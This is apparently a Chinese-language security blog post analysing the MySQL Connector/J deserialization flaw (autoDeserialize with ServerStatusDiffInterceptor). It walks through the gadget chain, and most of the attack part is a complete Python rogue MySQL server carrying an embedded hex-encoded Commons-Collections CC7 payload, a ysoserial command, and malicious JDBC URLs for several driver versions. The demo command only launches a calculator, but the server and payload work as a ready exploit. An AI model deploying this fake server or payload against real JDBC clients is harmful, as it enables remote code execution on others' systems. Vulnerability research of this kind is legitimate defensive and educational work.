Java安全-JDBC反序列化分析 JDBC基础 是一种用于Java程序访问关系型数据库的API(应用程序接口)
它允许Java程序员使用标准的SQL语句来访问和操作关系型数据库。JDBC提供了一种标准的方式来连接到不同数据库的驱动程序,并且是Java EE平台上进行数据访问的基础。它提供了许多接口和类,使Java应用程序可以通过它们来访问和管理关系型数据库。
JDBC 对数据库的操作一般有以下步骤
导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。
注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。
建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。
执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。
创建数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import java.sql.*;public class JDBCExample { static final String JDBC_DRIVER = "com.mysql.jdbc.Driver" ; static final String DB_URL = "jdbc:mysql://localhost/" ; static final String USER = "username" ; static final String PASS = "password" ; public static void main (String[] args) { Connection conn = null ; Statement stmt = null ; try { Class.forName("com.mysql.jdbc.Driver" ); System.out.println("Connecting to database..." ); conn = DriverManager.getConnection(DB_URL, USER, PASS); System.out.println("Creating database..." ); stmt = conn.createStatement(); String sql = "CREATE DATABASE STUDENTS" ; stmt.executeUpdate(sql); System.out.println("Database created successfully..." ); }catch (SQLException se){ se.printStackTrace(); }catch (Exception e){ e.printStackTrace(); }finally { try { if (stmt!=null ) stmt.close(); }catch (SQLException se2){ } try { if (conn!=null ) conn.close(); }catch (SQLException se){ se.printStackTrace(); } } System.out.println("Goodbye!" ); } }
这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用
正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了
JDBC反序列化漏洞 如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。
具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。
可被利用的两条查询语句:
SHOW SESSION STATUS
SHOW COLLATION
补充一下前置知识
这里要先补充一点前置知识
BLOB为二进制形式的长文本数据
BIT类型(Bit数据类型用来存储bit值)数据
queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
autoDeserialize:自动检测与反序列化存在BLOB字段中的对象
这里最重点和最巧妙的就是这个queryInterceptors 参数,直接看文字感觉有点迷,听我解释:
它允许你指定一个或多个实现了 com.mysql.cj.interceptors.QueryInterceptor 接口的类。这些类的目的是在执行 SQL 查询前后进行拦截和操纵,你完全可以理解为,只要JDBC带上了这个,在执行SQL语句前 和 后 他就会有一层类似的Filter,默认调用其 预处理preProcess 和后处理postProcess等方法!!!(实在不懂就需要参考一下java mysql connect的官方连接手册)
链子 先引入需要的依赖
pom.xml文件
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.13</version > </dependency >
CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法
触发这个readObject之前有一些限制条件
这些都会在我们构造Mysql服务器返回包时涉及到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public Object getObject (int columnIndex) throws SQLException { try { this .checkRowPos(); this .checkColumnBounds(columnIndex); int columnIndexMinusOne = columnIndex - 1 ; if (this .thisRow.getNull(columnIndexMinusOne)) { return null ; } else { Field field = this .columnDefinition.getFields()[columnIndexMinusOne]; switch (field.getMysqlType()) { case BIT: if (!field.isBinary() && !field.isBlob()) { return field.isSingleBit() ? this .getBoolean(columnIndex) : this .getBytes(columnIndex); } else { byte [] data = this .getBytes(columnIndex); if (!(Boolean)this .connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { return data; } else { Object obj = data; if (data != null && data.length >= 2 ) { if (data[0 ] != -84 || data[1 ] != -19 ) { return this .getString(columnIndex); } try { ByteArrayInputStream bytesIn = new ByteArrayInputStream (data); ObjectInputStream objIn = new ObjectInputStream (bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException var13) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91" ) + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92" ), this .getExceptionInterceptor()); } catch (IOException var14) { obj = data; } }
JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中
所以这个类不满足用户可控输入 这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject()
这个传入的参数应该是从上层直接传进来的
根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)
ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果,简而言之还是用来做数据处理的类
继续往上看谁调用了它
最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap
继续向上查找用法,发现 preProcess 和 postProcess 方法都有调用此方法
ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头
再看一下populateMapWithSessionStatusValues 方法的代码
先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果
这个SHOW SESSION STATUS查询语句就是我们刚刚说的执行时会触发反序列化的语句
小结一下
那么整条链子就很清晰了 从MySQL服务端获取到字节码数据后,判断autoDeserialize是否为true、字节码数据是否为序列化对象等,最后调用readObject()触发反序列化漏洞
在mysql的getconnect过程中会去触发一系列函数从而触发我们手动配置的queryInterceptors(可以类比于一个拦截查询器)进行一个SQL Query的查询,其中在以上代码分析当中可以看出如果查询拦截器不为空,则调用的查询拦截器的preProcess()方法,然后进入到preProcess()该方法后执行了 SHOW SESSION STATUS ,然后把返回来的结果(此时这个sql查询是已经在恶意的mysql中返回的结果),调用了resultSetToMap()方法然后把返回的结果传进去,该函数中就调用了触发反序列化漏洞的getObject()函数(注意columnIndex为2处才能走到反序列化的代码逻辑,因为为1则直接返回null)
MySQL JDBC客户端在开始连接MySQL服务端时,会执行一些如set autocommit=1 等SQL Query,其中会触发我们所配置的queryInterceptors中的preProcess()函数,在该函数逻辑中、当MySQL字段类型为BLOB时,会对数据进行反序列化操作,因此只要保证SHOW SESSION STATUS响应包中设置字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。
数据包分析 先执行一次真实的查询,抓包观察一下流量
构造一个JDBC客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.example;import java.sql.*;public class Test { public static void main (String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver" ); String jdbc_url = "jdbc:mysql://127.0.0.1:3306/root?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ; Connection con = DriverManager.getConnection(jdbc_url, "root" , "123456" ); } }
在本地开一个mysql服务,配置数据库信息后运行,使用wireshark进行抓包,并使用以下过滤语句过滤3306端口的mysql协议
1 tcp.port == 3306 && mysql
我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。
首先是 greeting 数据包
构造恶意Mysql服务端的时候需要将MySQL Protocol复制粘贴过来
继续往下,需要编写Response包,也是把MySQL Protocol复制粘贴过来就可以
除了SHOW SESSION STATUS的返回包需要我们自己构造,其他的按照此方法构造数据包就可以,此处不再一一列举
fakeMySQL构造 部分代码构造 除去SHOW SESSION STATUS的返回包以外,其他数据包构造的如下代码所示,可以先将其他部分的数据包构造搞清楚后,再进行SHOW SESSION STATUS数据包的构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import binasciiimport socket greeting = "4a0000000a352e372e323600130000005623364e2121182c00fff7c00200ff811500000000000000000000594b096a7d56547301550952006d7973716c5f6e61746976655f70617373776f726400" responseOK = "0700000200000002000000" def send_data (conn, data) : print("[*] Sending the package : {}" .format(data)) conn.send(binascii.a2b_hex(data)) def receive_data (conn) : data = conn.recv(1024 ) print("[*] Receiving the package : {}" .format(data)) return str(data).lower() def run () : while True: conn, addr = sk.accept() send_data(conn, greeting) while True: receive_data(conn) send_data(conn, responseOK) data = receive_data(conn) if "session.auto_increment_increment" in data: payload = "01000001142e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f73697a65000c3f001500000008a00000000026000010036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000011036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000012036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000013036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001403646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000015036465660000000c776169745f74696d656f7574000c3f001500000008a00000000019010016013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c01310831363737373231360236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000017fe000002000200" send_data(conn,payload) data = receive_data(conn) if "show warnings" in data: payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000" send_data(conn,payload) data = receive_data(conn) if "set names" in data: send_data(conn, responseOK) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, responseOK) data = receive_data(conn) if "@@session.autocommit" in data: payload = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000" send_data(conn,payload) if "SHOW SESSION STATUS" in data: pass break if __name__ == "__main__" : HOST = "0.0.0.0" PORT = 3306 #建立一个ipv4,TCP的socket连接 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) #绑定IP与端口 sk.bind((HOST,PORT)) #建立监听 sk.listen(1 ) print("start fake mysql server listening on {}:{}" .format(HOST, PORT)) run()
SHOW SESSION STATUS响应包编写 想要自行去编写该响应包,需要对MySQL的私有协议有一些了解
从流量中看,SHOW SESSION STATUS属于request query报文,对于查询数据包的响应包分为以下四种:
错误包(ERR Packet)
正确包(OK Packet)
Protocol::LOCAL_INFILE_Request
结果集(ProtocolText::Resultset)
在这一部分中,我们返回的是结果集这类型的响应包,该类响应包结构如下图所示
结果集结构可以说分为五个数据段
数据段1:说明下面的结果集有多少列
数据段2:列的定义
数据段3:EOF包
数据段4:行数据
数据段5:EOF包
数据段的结构也是相似的。 长度(3字节) 序号(1字节) 协议数据(不同协议,数据不同)
数据段1就可以写成01 00 00 01 02,前三字节表示数据长度为1,sequence id为1,最后一字节02表示有两列(这里说写成一列的化无法正常运行)
数据段2的定义比较复杂,我们直接那完整的数据进行分析
1 1 a000002036465660001630163016301630 c 3 f00 ffff0000 fcffff000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1a 00 00 02 03646566 00 01 63 01 63 0163 0163 0c filler 3f00 ffff0000 column_length fc 9000 00 0000
EOF包加上就无法复现成功
数据段4就是POC了,POC其实和上面一样的。计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)
最后加入一个EOF包
这里我们使用ysoserial生成CC的POC
1 java -jar ysoserial CC7 "calc" > payload
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import socketimport binasciiimport os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data (conn ): data = conn.recv(1024 ) print ("[*] Receiveing the package : {}" .format (data)) return str (data).lower()def send_data (conn,data ): print ("[*] Sending the package : {}" .format (data)) conn.send(binascii.a2b_hex(data))def get_payload_content (): file= r'payload' if os.path.isfile(file): with open (file, 'rb' ) as f: payload_content = str (binascii.b2a_hex(f.read()),encoding='utf-8' ) print ("open successs" ) else : print ("open false" ) payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_contentdef run (): while 1 : conn, addr = sk.accept() print ("Connection come from {}:{}" .format (addr[0 ],addr[1 ])) send_data(conn,greeting_data) while True : receive_data(conn) send_data(conn,response_ok_data) data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str (hex (len (payload_content)//2 )).replace('0x' , '' ).zfill(4 ) payload_length_hex = payload_length[2 :4 ] + payload_length[0 :2 ] data_len = str (hex (len (payload_content)//2 + 4 )).replace('0x' , '' ).zfill(6 ) data_len_hex = data_len[4 :6 ] + data_len[2 :4 ] + data_len[0 :2 ] mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex mysql_data += str (payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__' : HOST ='0.0.0.0' PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sk.bind((HOST, PORT)) sk.listen(1 ) print ("start fake mysql server listening on {}:{}" .format (HOST,PORT)) run()
测试一下,在脚本运行时是能看到正常的回显的,能正常收到包并发包,但是没有弹出计算器
调试分析 来看一下为什么弹不出计算器
在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析
往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap()
正常流程是ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面
所以我们这里按下F7直接进入第二个getObject方法
这里就是我们在数据段2关于Binary和数据类型Blob设置的判断
下一步时关于一些获取配置集合的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (this .connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { Object obj = data;
继续跟进
找到了我们没有弹出计算器的真正原因
data[0] == -84返回为false,无法执行readObject方法
总之是我们发送的SHOW SESSION STATUS响应包有点问题,这里不再新生成了,直接用一个写好的
顺利弹出计算器
之前是使用
ysoserial直接生成payload写入文件再读取出来构造响应包的poc,应该是构造响应包poc这里有一些问题
这次用能成功执行的继续调试查看
这次的data就没有问题了
继续执行程序就是会调用readObject方法,触发反序列化漏洞,弹出计算器
不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo:
1 2 3 "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ;
6.x 属性名不同,queryInterceptors 换为 statementInterceptors
>=5.1.11 包名中没有cj
5.x <= 5.1.10 同上,但需要连接后执行查询。
5.1.29 - 5.1.40
5.1.28 - 5.1.19